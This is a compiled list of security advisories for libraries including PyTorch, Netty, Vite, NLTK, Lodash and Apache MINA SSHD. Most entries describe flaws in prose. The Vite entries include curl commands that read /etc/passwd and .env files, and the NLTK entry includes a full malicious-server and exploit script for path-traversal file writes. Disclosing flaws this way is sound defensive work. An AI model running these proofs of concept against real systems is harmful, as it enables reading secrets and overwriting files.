During session resumption in crypto/tls, if the underlying Config has its ClientCAs or RootCAs fields mutated between the initial handshake and the resumed handshake, the resumed handshake may succeed when it should have failed. This may happen when a user calls Config.Clone and mutates the returned Config, or uses Config.GetConfigForClient. This can cause a client to resume a session with a server that it would not have resumed with during the initial handshake, or cause a server to resume a session with a client that it would not have resumed with during the initial handshake.
Inefficient policy validation in crypto/x509
IBM Concert 1.0.0 through 2.2.0 creates temporary files with predictable names, which allows local users to overwrite arbitrary files via a symlink attack.
A syntax error in the component proxytensor.py of pytorch v2.7.0 allows attackers to cause a Denial of Service (DoS).
An issue in pytorch v2.7.0 can lead to a Denial of Service (DoS) when a PyTorch model consists of torch.Tensor.tosparse() and torch.Tensor.todense() and is compiled by Inductor.
An issue in the component torch.linalg.lu of pytorch v2.8.0 allows attackers to cause a Denial of Service (DoS) when performing a slice operation.
A Name Error occurs in pytorch v2.7.0 when a PyTorch model consists of torch.cummin and is compiled by Inductor, leading to a Denial of Service (DoS).
In PyTorch before 2.7.0, when inductor is used, nn.Fold has an assertion error.
In PyTorch before 2.7.0, when torch.compile is used, FractionalMaxPool2d has inconsistent results.
An issue was discovered in PyTorch v2.5 and v2.7.1. Omission of profiler.stop() can cause torch.profiler.profile (PythonTracer) to crash or hang during finalization, leading to a Denial of Service (DoS).
PyTorch before 3.7.0 has a bernoullip decompose function in decompositions.py even though it lacks full consistency with the eager CPU implementation, negatively affecting nn.Dropout1d, nn.Dropout2d, and nn.Dropout3d for fallbackrandom=True.
A buffer overflow occurs in pytorch v2.7.0 when a PyTorch model consists of torch.nn.Conv2d, torch.nn.functional.hardshrink, and torch.Tensor.view-torch.mv() and is compiled by Inductor, leading to a Denial of Service (DoS).
pytorch v2.8.0 was discovered to display unexpected behavior when the components torch.rot90 and torch.randnlike are used together.
In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.
Improper certificate validation in Apache MINA SSHD (server-side). Apache MINA SSHD is a Java library for client-side and server-side SSH.
Server-side OpenSSH user certificate validation during user authentication in an Apache MINA SSHD server did not check for the unsupported force-command or verify-required options that could be embedded in the certificate, nor did it validate these options. As a result it was possible that a user could authenticate with such a certificate that included a force-command option but still was able to execute other commands. What other command exactly would be available to the user depends on the implementation of the server.
This issue is fixed in Apache MINA SSHD 2.19.0 and 3.0.0-M5. Applications are advised to upgrade to these versions.
The fix rejects OpenSSH user certificates that include these options, since Apache MINA SSHD implements neither force-command nor sk--cert-v01 user certificates (which are the only ones for which verify-required would make sense).
A vulnerability, which was classified as problematic, has been found in PyTorch 2.6.0+cu124. Affected by this issue is the function torch.mkldnnmaxpool2d. The manipulation leads to denial of service. An attack has to be approached locally. The exploit has been disclosed to the public and may be used.
A SpEL Injection vulnerability exists in the Spring Data KeyValue if unsanitized user input is passed as Sort into a repository query method that delegates evaluation to the SpelPropertyComparator.
Affected versions: Spring Data KeyValue / Spring Data Redis 4.0.0 through 4.0.5; 3.5.0 through 3.5.11; 3.4.0 through 3.4.14; 3.3.0 through 3.3.16; 3.2.0 through 3.2.15; 3.1.0 through 3.1.14; 3.0.0 through 3.0.15; 2.7.0 through 2.7.19.
Summary Netty's DnsResolveContext insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like .co.uk).
Details In io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName.
This means if the resolver queries evil.co.uk., it will accept an NS record claiming authority over co.uk.. Subsequently, the handleWithAdditional method caches the associated A records from the ADDITIONAL section directly into the authoritativeDnsServerCache under the parent domain's key (co.uk.). This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under co.uk..
The io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#cache method only prevents caching if the record is for the root zone (dots == 1).
Impact DNS Cache Poisoning. Any application using Netty's DNS resolver is impacted.
Summary
protobufjs could execute generated JavaScript code derived from protobuf schema metadata. When loading a crafted JSON descriptor, schema-controlled type names and type references could reach runtime code generation without sufficient validation.
Impact
An attacker who can provide a malicious protobuf definition or JSON descriptor to an application may be able to execute arbitrary JavaScript in the context of the process using protobufjs.
This requires control over the protobuf schema or descriptor being loaded. Applications that only decode messages using trusted, application-defined schemas are not directly affected by this issue.
Preconditions
- The application must allow an attacker to control or influence a protobuf definition or JSON descriptor. - The application must load that definition through protobufjs reflection APIs such as descriptor loading. - The affected generated-code path must be reached, for example by performing an operation on the loaded type.
Workarounds
Do not load protobuf definitions or JSON descriptors from untrusted sources with affected versions. If untrusted schemas must be accepted, validate or restrict them before loading and run schema processing in an isolated environment.
Summary Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses.
Details In io.netty.resolver.dns.DnsResolveContext#buildAliasMap, the resolver processes the ANSWER section of a DNS response and blindly caches all CNAME records it finds.
According to https://datatracker.ietf.org/doc/html/rfc5452#section-6
Care must be taken to only accept data if it is known that the originator is authoritative for the QNAME or a parent of the QNAME. One very simple way to achieve this is to only accept data if it is part of the domain for which the query was intended.
Impact DNS Cache Poisoning (Bailiwick Bypass). Any application using Netty's DNS resolver is impacted.
Summary
server.fs check was not enforced to the fetchModule method that is exposed in Vite dev server's WebSocket.
Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option) - WebSocket is not disabled by server.ws: false
Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed.
Details
If it is possible to connect to the Vite dev server’s WebSocket without an Origin header, an attacker can invoke fetchModule via the custom WebSocket event vite:invoke and combine file://... with ?raw (or ?inline) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., export default "...").
The access control enforced in the HTTP request path (such as server.fs.allow) is not applied to this WebSocket-based execution path.
PoC
1. Start the dev server on the target Example (used during validation with this repository): bash pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173
2. Confirm that access is blocked via the HTTP path (example: arbitrary file) bash curl -i 'http://localhost:5173/@fs/etc/passwd?raw' Result: 403 Restricted (outside the allow list) <img width="3898" height="1014" alt="image" src="https://github.com/user-attachments/assets/f6593377-549c-45d7-b562-5c19833438af" />
3. Confirm that the same file can be retrieved via the WebSocket path By connecting to the HMR WebSocket without an Origin header and sending a vite:invoke request that calls fetchModule with a file://... URL and ?raw, the file contents are returned as a JavaScript module. <img width="1049" height="296" alt="image" src="https://github.com/user-attachments/assets/af969f7b-d34e-4af4-8adb-5e2b83b31972" /> <img width="1382" height="955" alt="image" src="https://github.com/user-attachments/assets/6a230d2e-197a-4c9c-b373-d0129756d5d7" />
Summary
Any files ending with .map even out side the project can be returned to the browser.
Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option) - have a sensitive content in files ending with .map and the path is predictable
Details
In Vite v7.3.1, the dev server’s handling of .map requests for optimized dependencies resolves file paths and calls readFile without restricting ../ segments in the URL. As a result, it is possible to bypass the server.fs.strict allow list and retrieve .map files located outside the project root, provided they can be parsed as valid source map JSON.
PoC 1. Create a minimal PoC sourcemap outside the project root bash cat > /tmp/poc.map <<'EOF' {"version":3,"file":"x.js","sources":[],"names":[],"mappings":""} EOF 2. Start the Vite dev server (example) bash pnpm -C playground/fs-serve dev --host 127.0.0.1 --port 18080 3. Confirm that direct /@fs access is blocked by strict (returns 403) <img width="4004" height="1038" alt="image" src="https://github.com/user-attachments/assets/15a859a8-1dc6-4105-8d58-80527c0dd9ab" /> 4. Inject ../ segments under the optimized deps .map URL prefix to reach /tmp/poc.map <img width="2790" height="846" alt="image" src="https://github.com/user-attachments/assets/5d02957d-2e6a-4c45-9819-3f024e0e81f2" />
Summary
The contents of files that are specified by server.fs.deny can be returned to the browser.
Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option) - the sensitive file exists in the allowed directories specified by server.fs.allow - the sensitive file is denied with a pattern that matches a file by server.fs.deny
Details
On the Vite dev server, files that should be blocked by server.fs.deny (e.g., .env, .crt) can be retrieved with HTTP 200 responses when query parameters such as ?raw, ?import&raw, or ?import&url&inline are appended.
PoC
1. Start the dev server: pnpm exec vite root --host 127.0.0.1 --port 5175 --strictPort 2. Confirm that server.fs.deny is enforced (expect 403): curl -i http://127.0.0.1:5175/src/.env | head -n 20 <img width="3944" height="1092" alt="image" src="https://github.com/user-attachments/assets/ecb9f2e0-e08f-4ac7-b194-e0f988c4cd4f" /> 3. Confirm that the same files can be retrieved with query parameters (expect 200): <img width="2014" height="373" alt="image" src="https://github.com/user-attachments/assets/76bc2a6a-44f4-4161-ae47-eab5ae0c04a8" />
Vulnerability Description
The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:
1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system 2. Arbitrary File Creation: Create arbitrary files 3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorizedkeys, etc.)
Vulnerability Principle
Key Code Locations
1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation
2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(downloaddir, info.filename) - Directly uses filename which may contain path traversal
3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(downloaddir, info.subdir), existok=True) - Can create arbitrary directories outside the download directory
4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system
Attack Chain
1. Attacker controls remote XML index server ↓ 2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../> ↓ 3. Victim executes: downloader.download('passwd') ↓ 4. Package.fromxml() creates object, filename = "../../etc/passwd.zip" ↓ 5. downloadpackage() constructs path: downloaddir + "../../etc/passwd.zip" ↓ 6. os.makedirs() creates directory: downloaddir + "../../etc" ↓ 7. open(filepath, "wb") writes file to /etc/passwd.zip ↓ 8. System file is overwritten!
Impact Scope 1. System File Overwrite
Reproduction Steps
Environment Setup
1. Install NLTK bash pip install nltk
2. Prepare malicious server and exploit script (see PoC section)
Reproduction Process
Step 1: Start malicious server bash python3 maliciousserver.py
Step 2: Run exploit script bash python3 exploitvulnerability.py
Step 3: Verify results bash ls -la /tmp/testfile.zip
Proof of Concept
Malicious Server (maliciousserver.py)
python #!/usr/bin/env python3 """Malicious HTTP Server - Provides XML index with path traversal""" import os import tempfile import zipfile from http.server import HTTPServer, BaseHTTPRequestHandler
Create temporary directory serverdir = tempfile.mkdtemp(prefix="nltkmalicious")
Create malicious XML (contains path traversal) maliciousxml = """<?xml version="1.0"?> <nltkdata> <packages> <package id="testfile" subdir="../../../../../../../../../tmp" url="http://127.0.0.1:8888/test.zip" size="100" unzippedsize="100" unzip="0"/> </packages> </nltkdata> """
Save files with open(os.path.join(serverdir, "maliciousindex.xml"), "w") as f: f.write(maliciousxml)
with zipfile.ZipFile(os.path.join(serverdir, "test.zip"), "w") as zf: zf.writestr("test.txt", "Path traversal attack!")
HTTP Handler class Handler(BaseHTTPRequestHandler): def doGET(self): if self.path == '/maliciousindex.xml': self.sendresponse(200) self.sendheader('Content-type', 'application/xml') self.endheaders() with open(os.path.join(serverdir, 'maliciousindex.xml'), 'rb') as f: self.wfile.write(f.read()) elif self.path == '/test.zip': self.sendresponse(200) self.sendheader('Content-type', 'application/zip') self.endheaders() with open(os.path.join(serverdir, 'test.zip'), 'rb') as f: self.wfile.write(f.read()) else: self.sendresponse(404) self.endheaders() def logmessage(self, format, args): pass
Start server if name == "main": port = 8888 server = HTTPServer(("0.0.0.0", port), Handler) print(f"Malicious server started: http://127.0.0.1:{port}/maliciousindex.xml") print("Press Ctrl+C to stop") try: server.serveforever() except KeyboardInterrupt: print("\nServer stopped")
Exploit Script (exploitvulnerability.py)
python #!/usr/bin/env python3 """AFO Vulnerability Exploit Script""" import os import tempfile
def exploit(serverurl="http://127.0.0.1:8888/maliciousindex.xml"): downloaddir = tempfile.mkdtemp(prefix="nltkexploit") print(f"Download directory: {downloaddir}") # Exploit vulnerability from nltk.downloader import Downloader downloader = Downloader(serverindexurl=serverurl, downloaddir=downloaddir) downloader.download("testfile", quiet=True) # Check results expectedpath = "/tmp/testfile.zip" if os.path.exists(expectedpath): print(f"\n✗ Exploit successful! File written to: {expectedpath}") print(f"✗ Path traversal attack successful!") else: print(f"\n? File not found, download may have failed")
if name == "main": exploit()
Execution Results
✗ Exploit successful! File written to: /tmp/testfile.zip ✗ Path traversal attack successful!
A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.
Impact
Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the .unset and .omit functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes.
The issue permits deletion of properties but does not allow overwriting their original behavior.
Patches
This issue is patched on 4.17.23.
Summary
A vulnerability in PyTorch's weightsonly unpickler allows an attacker to craft a malicious checkpoint file (.pth) that, when loaded with torch.load(..., weightsonly=True), can corrupt memory and potentially lead to arbitrary code execution.
Vulnerability Details
The weightsonly=True unpickler failed to properly validate pickle opcodes and storage metadata, allowing:
1. Heap memory corruption via SETITEM/SETITEMS opcodes applied to non-dictionary types 2. Storage size mismatch between declared element count and actual data in the archive
Impact
An attacker who can convince a user to load a malicious checkpoint file may achieve arbitrary code execution in the context of the victim's process.
Credit Ji'an Zhou
IBM Concert 1.0.0 through 3.0.0 could allow a remote attacker to cause a denial of service using a specially crafted regular expression that would cause excessive resource consumption.
IBM Concert 1.0.0 through 3.0.0 uses weaker than expected cryptographic algorithms that could allow an attacker to decrypt highly sensitive information.
IBM Concert 1.0.0 through 3.0.0 could allow a local attacker to obtain sensitive information due to recursive copying of build context directories into container images.